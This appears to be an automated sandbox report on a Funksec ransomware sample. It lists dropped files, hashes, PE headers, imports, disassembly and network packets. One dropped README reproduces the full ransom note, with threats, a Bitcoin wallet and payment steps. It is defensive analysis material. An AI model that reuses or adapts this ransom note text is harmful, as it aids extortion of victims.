                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                Malicious:false
                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qftpj4rt.wfw.ps1

                                                                                                                                Download File
                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):60
                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                Malicious:false
                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_stu4yvng.avz.psm1

                                                                                                                                Download File
                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):60
                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                Malicious:false
                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ujxdxml4.vtz.psm1

                                                                                                                                Download File
                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):60
                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                Malicious:false
                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uqhapqny.pjf.ps1

                                                                                                                                Download File
                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):60
                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                Malicious:false
                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uv4qt0zo.ols.psm1

                                                                                                                                Download File
                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):60
                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                Malicious:false
                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x0qd4kvn.r2p.psm1

                                                                                                                                Download File
                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):60
                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                Malicious:false
                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yxrp4l4c.smh.ps1

                                                                                                                                Download File
                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):60
                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                Malicious:false
                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                C:\Users\user\Desktop\README-jbiEF8FBed.md

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:Unicode text, UTF-8 text
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1636
                                                                                                                                Entropy (8bit):5.202597135655108
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:WXufmCFpWyj/E2RUFKUn1R7ARj7qQXPHrHATBbB:W4mOp7o2SFKUn1WeQfLATB9
                                                                                                                                MD5:2C97DAB34E4AB7F089F0811866C7784D
                                                                                                                                SHA1:7C526F204D066FC5E1C59EB765F42F7B363F74BC
                                                                                                                                SHA-256:3583C0EB329CA6499C64EF5E84F7F888AEF5BF2892F73145DA9A75E336D56657
                                                                                                                                SHA-512:AE8B3E3083098E124397DA4E0DF6779A6D745FB1388D656F530C052906B06B6C1B895D01AAD371EAB24988F4E379E98379959F9966EE9631200D5C6937AAA0E3
                                                                                                                                Malicious:false
                                                                                                                                Preview:.# .. Funksec V1.5 ..... **Congratulations** . Your organization, device has been successfully infiltrated by funksec ransomware!..## .. **Stop**.- Do NOT attempt to tamper with files or systems..- Do NOT contact law enforcement or seek third-party intervention..- Do NOT attempt to trace funksec's activities...## .. **What happened**.- your files encrypted by funksec ransomware, becarfull to play or try dercrypt the files becouse you just will lose it more..- We stole all your data..- No anti-virus will restore it; this is an advanced ransomware..- your data will be leaked if you don't pay ransom..## .. **Ransom Details**.- Decryptor exe fee: **0.1 BTC**.- Bitcoin wallet address: `bc1qrghnt6cqdsxt0qmlcaq0wcavq6pmfm82vtxfeq`.- Payment instructions:. 1. Buy 0.1 bitcoin.. 2. Install session from: https://getsession.org/. 3. Contact us with this ID to receive the decryptor: 0538d726ae3cc264c1bd8e66c6c6fa366a3dfc589567944170001e6fdbea9efb3d..## .. **How to buy bitcoin**.-

                                                                                                                                C:\Users\user\Desktop\downloaded_wallpaper.jpg

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 696x516, components 3
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):25447
                                                                                                                                Entropy (8bit):7.009816137563603
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:icpk7sPEFPLY2xiy7JDk0Ot+A+AedexytJ0e:i5NLY20y75fO8A+HexyL
                                                                                                                                MD5:D10E302877008B2567890DE25F6D3711
                                                                                                                                SHA1:318D25D53DCD8765D79C6CEF07A6AEA72A4BF76F
                                                                                                                                SHA-256:EA627D5499996BDA0BDEF215B41FF4353BC9E9C6886AF45115D5EC5E170EAD93
                                                                                                                                SHA-512:173A2F5F2357E44D9A7C7E29D089AB81CC61495830CFBD40506B66992F41652CC7691E64CB7D4597F323C4B12EC96B0B5BD61BEDE4D0A69CACDCE56D0E4AE761
                                                                                                                                Malicious:false
                                                                                                                                Preview:......JFIF................................C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222.....................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(......(

                                                                                                                                C:\Windows\System32\VvD5lMoAcR.exe

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):5472768
                                                                                                                                Entropy (8bit):6.243995355509541
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:49152:1IfGg/Y7M7n25Zh990ZRKAYm7JwS6H+3buIwrvYqX1+TjOS4SSOFApPITHJoy/SV:lM7nZNF7as4QWh6QJO9xu
                                                                                                                                MD5:039F85A7670428430274476CBE733DB4
                                                                                                                                SHA1:F78A6B537244B544DC75A07BDBC7EDA6CA15699E
                                                                                                                                SHA-256:E622F3B743C7FC0A011B07A2E656AA2B5E50A4876721BCF1F405D582CA4CDA22
                                                                                                                                SHA-512:9A7B8DE0DEB8921800D11E8883DB3ADA603C94A1FCEDB161CA33188121522AC914D0F654F39B77723F4486F59776C8DF4FFF191A0FA0EF0D775BC93AB0B12EB9
                                                                                                                                Malicious:true
                                                                                                                                Antivirus:
                                                                                                                                • Antivirus: ReversingLabs, Detection: 68%
                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...o...o...o...o...o.G.n...o.G.n...o.G.n...o.G.n...ok..n...o...o...o...o...o/G.n...oRich...o........PE..d.....zg.........."....*..7..........6........@..............................S...........`.................................................\TP.|.............P.............@S..a..PIG.T....................JG.(....HG.@.............7.`............................text.....7.......7................. ..`.rdata.......7.......7.............@..@.data....3...pP..2...`P.............@....pdata.......P.......P.............@..@.reloc...a...@S..b... S.............@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                                C:\Windows\System32\VvD5lMoAcR.exe:Zone.Identifier

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):26
                                                                                                                                Entropy (8bit):3.95006375643621
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3:ggPYV:rPYV
                                                                                                                                MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                Malicious:false
                                                                                                                                Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                Static File Info

                                                                                                                                General

                                                                                                                                File type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                                Entropy (8bit):6.243995355509541
                                                                                                                                TrID:
                                                                                                                                • Win64 Executable Console (202006/5) 92.65%
                                                                                                                                • Win64 Executable (generic) (12005/4) 5.51%
                                                                                                                                • Generic Win/DOS Executable (2004/3) 0.92%
                                                                                                                                • DOS Executable Generic (2002/1) 0.92%
                                                                                                                                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                File name:rZU3xTxOnl.exe
                                                                                                                                File size:5'472'768 bytes
                                                                                                                                MD5:039f85a7670428430274476cbe733db4
                                                                                                                                SHA1:f78a6b537244b544dc75a07bdbc7eda6ca15699e
                                                                                                                                SHA256:e622f3b743c7fc0a011b07a2e656aa2b5e50a4876721bcf1f405d582ca4cda22
                                                                                                                                SHA512:9a7b8de0deb8921800d11e8883db3ada603c94a1fcedb161ca33188121522ac914d0f654f39b77723f4486f59776c8df4fff191a0fa0ef0d775bc93ab0b12eb9
                                                                                                                                SSDEEP:49152:1IfGg/Y7M7n25Zh990ZRKAYm7JwS6H+3buIwrvYqX1+TjOS4SSOFApPITHJoy/SV:lM7nZNF7as4QWh6QJO9xu
                                                                                                                                TLSH:1A462922BB5A99ADC89AC0B083564B72297134CB0B3579FF45C446783E6DAF42F3C758
                                                                                                                                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........<...o...o...o...o...o.G.n...o.G.n...o.G.n...o.G.n...ok..n...o...o...o...o...o/G.n...oRich...o........PE..d.....zg.........."

                                                                                                                                File Icon

                                                                                                                                Icon Hash:00928e8e8686b000

                                                                                                                                Static PE Info

                                                                                                                                General

                                                                                                                                Entrypoint:0x140368eec
                                                                                                                                Entrypoint Section:.text
                                                                                                                                Digitally signed:false
                                                                                                                                Imagebase:0x140000000
                                                                                                                                Subsystem:windows cui
                                                                                                                                Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                                                                                                DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                                                                                                Time Stamp:0x677AFD81 [Sun Jan 5 21:45:37 2025 UTC]
                                                                                                                                TLS Callbacks:0x4034fea0, 0x1
                                                                                                                                CLR (.Net) Version:
                                                                                                                                OS Version Major:6
                                                                                                                                OS Version Minor:0
                                                                                                                                File Version Major:6
                                                                                                                                File Version Minor:0
                                                                                                                                Subsystem Version Major:6
                                                                                                                                Subsystem Version Minor:0
                                                                                                                                Import Hash:243a1608a8fa57ca30e52a00bd498408

                                                                                                                                Entrypoint Preview

                                                                                                                                Instruction
                                                                                                                                dec eax
                                                                                                                                sub esp, 28h
                                                                                                                                call 00007FEF48B3AE18h
                                                                                                                                dec eax
                                                                                                                                add esp, 28h
                                                                                                                                jmp 00007FEF48B3AA37h
                                                                                                                                int3
                                                                                                                                int3
                                                                                                                                jmp 00007FEF48B3B1B8h
                                                                                                                                int3
                                                                                                                                int3
                                                                                                                                int3
                                                                                                                                dec eax
                                                                                                                                sub esp, 28h
                                                                                                                                call 00007FEF48B3B480h
                                                                                                                                test eax, eax
                                                                                                                                je 00007FEF48B3ABE3h
                                                                                                                                dec eax
                                                                                                                                mov eax, dword ptr [00000030h]
                                                                                                                                dec eax
                                                                                                                                mov ecx, dword ptr [eax+08h]
                                                                                                                                jmp 00007FEF48B3ABC7h
                                                                                                                                dec eax
                                                                                                                                cmp ecx, eax
                                                                                                                                je 00007FEF48B3ABD6h
                                                                                                                                xor eax, eax
                                                                                                                                dec eax
                                                                                                                                cmpxchg dword ptr [001A135Ch], ecx
                                                                                                                                jne 00007FEF48B3ABB0h
                                                                                                                                xor al, al
                                                                                                                                dec eax
                                                                                                                                add esp, 28h
                                                                                                                                ret
                                                                                                                                mov al, 01h
                                                                                                                                jmp 00007FEF48B3ABB9h
                                                                                                                                int3
                                                                                                                                int3
                                                                                                                                int3
                                                                                                                                dec eax
                                                                                                                                sub esp, 28h
                                                                                                                                test ecx, ecx
                                                                                                                                jne 00007FEF48B3ABC9h
                                                                                                                                mov byte ptr [001A1345h], 00000001h
                                                                                                                                call 00007FEF48B3B16Dh
                                                                                                                                call 00007FEF48B3AE80h
                                                                                                                                test al, al
                                                                                                                                jne 00007FEF48B3ABC6h
                                                                                                                                xor al, al
                                                                                                                                jmp 00007FEF48B3ABD6h
                                                                                                                                call 00007FEF48B3AE73h
                                                                                                                                test al, al
                                                                                                                                jne 00007FEF48B3ABCBh
                                                                                                                                xor ecx, ecx
                                                                                                                                call 00007FEF48B3AE68h
                                                                                                                                jmp 00007FEF48B3ABACh
                                                                                                                                mov al, 01h
                                                                                                                                dec eax
                                                                                                                                add esp, 28h
                                                                                                                                ret
                                                                                                                                int3
                                                                                                                                int3
                                                                                                                                inc eax
                                                                                                                                push ebx
                                                                                                                                dec eax
                                                                                                                                sub esp, 20h
                                                                                                                                cmp byte ptr [001A130Ch], 00000000h
                                                                                                                                mov ebx, ecx
                                                                                                                                jne 00007FEF48B3AC29h
                                                                                                                                cmp ecx, 01h
                                                                                                                                jnbe 00007FEF48B3AC2Ch
                                                                                                                                call 00007FEF48B3B3F6h
                                                                                                                                test eax, eax
                                                                                                                                je 00007FEF48B3ABEAh
                                                                                                                                test ebx, ebx
                                                                                                                                jne 00007FEF48B3ABE6h
                                                                                                                                dec eax
                                                                                                                                lea ecx, dword ptr [001A12F6h]
                                                                                                                                call 00007FEF48B3B4C8h
                                                                                                                                test eax, eax
                                                                                                                                jne 00007FEF48B3ABD2h

                                                                                                                                Rich Headers

                                                                                                                                Programming Language:
                                                                                                                                • [IMP] VS2008 SP1 build 30729

                                                                                                                                Data Directories

                                                                                                                                NameVirtual AddressVirtual Size Is in Section
                                                                                                                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                IMAGE_DIRECTORY_ENTRY_IMPORT0x50545c0x17c.rdata
                                                                                                                                IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
                                                                                                                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x50b0000x28dc4.pdata
                                                                                                                                IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                IMAGE_DIRECTORY_ENTRY_BASERELOC0x5340000x611c.reloc
                                                                                                                                IMAGE_DIRECTORY_ENTRY_DEBUG0x4749500x54.rdata
                                                                                                                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                IMAGE_DIRECTORY_ENTRY_TLS0x474a000x28.rdata
                                                                                                                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x4748100x140.rdata
                                                                                                                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                IMAGE_DIRECTORY_ENTRY_IAT0x37b0000x660.rdata
                                                                                                                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                Sections

                                                                                                                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                .text0x10000x379faf0x37a000c2d58fe6942cb10a4d3fc8e22a8bb274unknownunknownunknownunknownIMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                .rdata0x37b0000x18bbe80x18bc0083033227e93583087cf37c45498084bcFalse0.262551573357549data5.395305803402578IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                .data0x5070000x33100x320003d674805efe7778627a8427b9d46757False0.16109375data2.383083967968346IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                .pdata0x50b0000x28dc40x28e00096b6839d83c16fbd3b4eaa90f314a11False0.5011647075688074data6.4191045102920175IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                .reloc0x5340000x611c0x620060992eb86a779bc458193fa0cdc29c3aFalse0.4290098852040816data5.454528015431207IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                Imports

                                                                                                                                DLLImport
                                                                                                                                api-ms-win-core-synch-l1-2-0.dllWaitOnAddress, WakeByAddressAll, WakeByAddressSingle
                                                                                                                                bcryptprimitives.dllProcessPrng
                                                                                                                                kernel32.dllGetOverlappedResult, ReadFile, SetFileCompletionNotificationModes, Sleep, GetModuleHandleA, GetCurrentThreadId, FreeEnvironmentStringsW, DeleteProcThreadAttributeList, CompareStringOrdinal, GetLastError, AddVectoredExceptionHandler, SetThreadStackGuarantee, GetCurrentThread, SwitchToThread, PostQueuedCompletionStatus, SetWaitableTimer, WaitForSingleObject, QueryPerformanceCounter, GetSystemInfo, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, SetLastError, GetCurrentDirectoryW, GetEnvironmentStringsW, GetEnvironmentVariableW, GetQueuedCompletionStatusEx, GetCommandLineW, SetFileInformationByHandle, SetFilePointerEx, CreateIoCompletionPort, IsProcessorFeaturePresent, GetStdHandle, GetCurrentProcessId, WriteFileEx, SleepEx, GetExitCodeProcess, GetModuleHandleW, QueryPerformanceFrequency, GetProcAddress, HeapFree, HeapReAlloc, ReleaseMutex, FindNextFileW, FindClose, CreateFileW, GetFileInformationByHandle, GetFileInformationByHandleEx, FindFirstFileW, DeleteFileW, GetFinalPathNameByHandleW, CopyFileExW, CreateEventW, CancelIo, GetConsoleMode, FormatMessageW, GetModuleFileNameW, ExitProcess, CreateNamedPipeW, ReadFileEx, WaitForMultipleObjects, GetFullPathNameW, GetSystemDirectoryW, GetWindowsDirectoryW, CreateProcessW, GetFileAttributesW, InitializeProcThreadAttributeList, UpdateProcThreadAttribute, MultiByteToWideChar, WriteConsoleW, WideCharToMultiByte, CreateThread, GetProcessHeap, HeapAlloc, WaitForSingleObjectEx, LoadLibraryA, CreateMutexA, SetHandleInformation, GetSystemTimeAsFileTime, InitializeSListHead, lstrlenW, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, CloseHandle, DuplicateHandle, CreateWaitableTimerExW
                                                                                                                                ws2_32.dllsend, recv, shutdown, ioctlsocket, connect, bind, WSASocketW, getsockname, getpeername, getsockopt, setsockopt, WSAIoctl, WSAGetLastError, WSAStartup, WSACleanup, getaddrinfo, closesocket, WSASend, freeaddrinfo
                                                                                                                                user32.dllSystemParametersInfoW
                                                                                                                                shell32.dllSHGetKnownFolderPath
                                                                                                                                ole32.dllCoTaskMemFree
                                                                                                                                advapi32.dllRegOpenKeyExW, RegQueryValueExW, RegCloseKey, SystemFunction036
                                                                                                                                secur32.dllAcquireCredentialsHandleA, DeleteSecurityContext, DecryptMessage, QueryContextAttributesW, FreeContextBuffer, AcceptSecurityContext, InitializeSecurityContextW, ApplyControlToken, EncryptMessage, FreeCredentialsHandle
                                                                                                                                crypt32.dllCertDuplicateCertificateContext, CertVerifyCertificateChainPolicy, CertFreeCertificateContext, CertFreeCertificateChain, CertDuplicateCertificateChain, CertEnumCertificatesInStore, CertAddCertificateContextToStore, CertDuplicateStore, CertGetCertificateChain, CertCloseStore, CertOpenStore
                                                                                                                                ntdll.dllNtCancelIoFileEx, NtCreateFile, NtReadFile, NtDeviceIoControlFile, RtlNtStatusToDosError, NtWriteFile
                                                                                                                                bcrypt.dllBCryptGenRandom
                                                                                                                                VCRUNTIME140.dllmemcmp, __current_exception_context, memmove, __current_exception, memset, __CxxFrameHandler3, memcpy, _CxxThrowException, __C_specific_handler
                                                                                                                                api-ms-win-crt-math-l1-1-0.dllpowf, pow, round, roundf, truncf, ceil, exp2f, __setusermatherr
                                                                                                                                api-ms-win-crt-runtime-l1-1-0.dll_crt_atexit, _initialize_narrow_environment, _get_initial_narrow_environment, _configure_narrow_argv, _set_app_type, _initterm, _initterm_e, _register_onexit_function, terminate, _initialize_onexit_table, exit, _exit, _seh_filter_exe, __p___argc, __p___argv, _cexit, _c_exit, _register_thread_local_exe_atexit_callback
                                                                                                                                api-ms-win-crt-stdio-l1-1-0.dll__p__commode, _set_fmode
                                                                                                                                api-ms-win-crt-locale-l1-1-0.dll_configthreadlocale
                                                                                                                                api-ms-win-crt-heap-l1-1-0.dllfree, _set_new_mode

                                                                                                                                Network Behavior

                                                                                                                                Network Port Distribution

                                                                                                                                TCP Packets

                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                Jan 12, 2025 18:50:19.708713055 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:19.708755970 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:19.708811998 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:19.720037937 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:19.720058918 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.286555052 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.286619902 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.289010048 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.289016962 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.289323092 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.340639114 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.345468998 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.387337923 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.442154884 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.442209005 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.442229033 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.442276955 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.442287922 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.442298889 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.442348957 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.442759037 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.442800999 CET49705443192.168.2.8199.232.192.193
                                                                                                                                Jan 12, 2025 18:50:20.442810059 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.443051100 CET44349705199.232.192.193192.168.2.8
                                                                                                                                Jan 12, 2025 18:50:20.443072081 CET44349705199.232.192.193192.168.2.8
